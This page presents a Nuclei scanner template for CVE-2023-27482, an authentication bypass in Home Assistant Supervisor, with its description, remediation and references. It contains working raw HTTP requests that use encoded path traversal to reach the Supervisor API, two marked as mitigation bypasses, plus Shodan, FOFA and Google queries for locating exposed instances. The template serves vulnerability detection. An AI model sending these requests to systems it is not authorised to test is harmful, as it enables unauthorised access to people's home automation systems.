Home Assistant Supervisor - Authentication Bypass
ID: CVE-2023-27482
Severity: critical
Author: DhiyaneshDK
Tags: cve2023,cve,homeassistant,auth-bypass,rce,home-assistant
Description
Section titled “Description”Home Assistant Supervisor is an open source home automation tool. A remotely exploitable vulnerability bypassing authentication for accessing the Supervisor API through Home Assistant has been discovered.This impacts all Home Assistant installation types that use the Supervisor 2023.01.1 or older. Installation types, like Home Assistant Container (for example Docker), or Home Assistant Core manually in a Python environment, are not affected.
YAML Source
Section titled “YAML Source”id: CVE-2023-27482
info: name: Home Assistant Supervisor - Authentication Bypass author: DhiyaneshDK severity: critical description: | Home Assistant Supervisor is an open source home automation tool. A remotely exploitable vulnerability bypassing authentication for accessing the Supervisor API through Home Assistant has been discovered.This impacts all Home Assistant installation types that use the Supervisor 2023.01.1 or older. Installation types, like Home Assistant Container (for example Docker), or Home Assistant Core manually in a Python environment, are not affected. impact: | An attacker can bypass authentication and gain unauthorized access to the Home Assistant Supervisor, potentially leading to further compromise of the system. remediation: | The issue has been mitigated and closed in Supervisor version 2023.03.1, which has been rolled out to all affected installations via the auto-update feature of the Supervisor. This rollout has been completed at the time of publication of this advisory. Home Assistant Core 2023.3.0 included mitigation for this vulnerability. Upgrading to at least that version is thus advised. In case one is not able to upgrade the Home Assistant Supervisor or the Home Assistant Core application at this time, it is advised to not expose your Home Assistant instance to the internet. reference: - https://www.elttam.com/blog/pwnassistant/ - https://github.com/elttam/publications/blob/master/writeups/home-assistant/supervisor-authentication-bypass-advisory.md - https://www.home-assistant.io/blog/2023/03/08/supervisor-security-disclosure/ - https://nvd.nist.gov/vuln/detail/CVE-2023-27482 - https://github.com/home-assistant/core/security/advisories/GHSA-2j8f-h4mr-qr25 - https://xz.aliyun.com/t/12572 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H cvss-score: 10 cve-id: CVE-2023-27482 cwe-id: CWE-287 epss-score: 0.03385 epss-percentile: 0.91419 cpe: cpe:2.3:a:home-assistant:home-assistant:*:*:*:*:*:*:*:* metadata: verified: true max-request: 3 vendor: home-assistant product: home-assistant shodan-query: - title:"Home Assistant" - http.title:"home assistant" - cpe:"cpe:2.3:a:home-assistant:home-assistant" fofa-query: title="home assistant" google-query: intitle:"home assistant" tags: cve2023,cve,homeassistant,auth-bypass,rce,home-assistant
http: - raw: - | GET /api/hassio/app/.%252e/supervisor/info HTTP/1.1 Host: {{Hostname}} - | GET /api/hassio/app/.%09./supervisor/info HTTP/1.1 # Mitigation bypass 1 Host: {{Hostname}} - | GET /api/hassio_ingress/.%09./supervisor/info HTTP/1.1 # Mitigation bypass 2 Host: {{Hostname}} X-Hass-Is-Admin:1
stop-at-first-match: true
matchers-condition: and matchers: - type: word words: - '"slug":' - '"name":' - '"ip_address"' condition: and
- type: word part: header words: - application/json
- type: status status: - 200# digest: 4b0a00483046022100ecb70f8025039bbfe2e361547eadbc056e524fbc8ba134abdf710a66c71cc867022100e1bd56cc200d37108a71b90b686e726c98b388c8cb5938100ee0e685e0b92ef4:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-27482.yaml"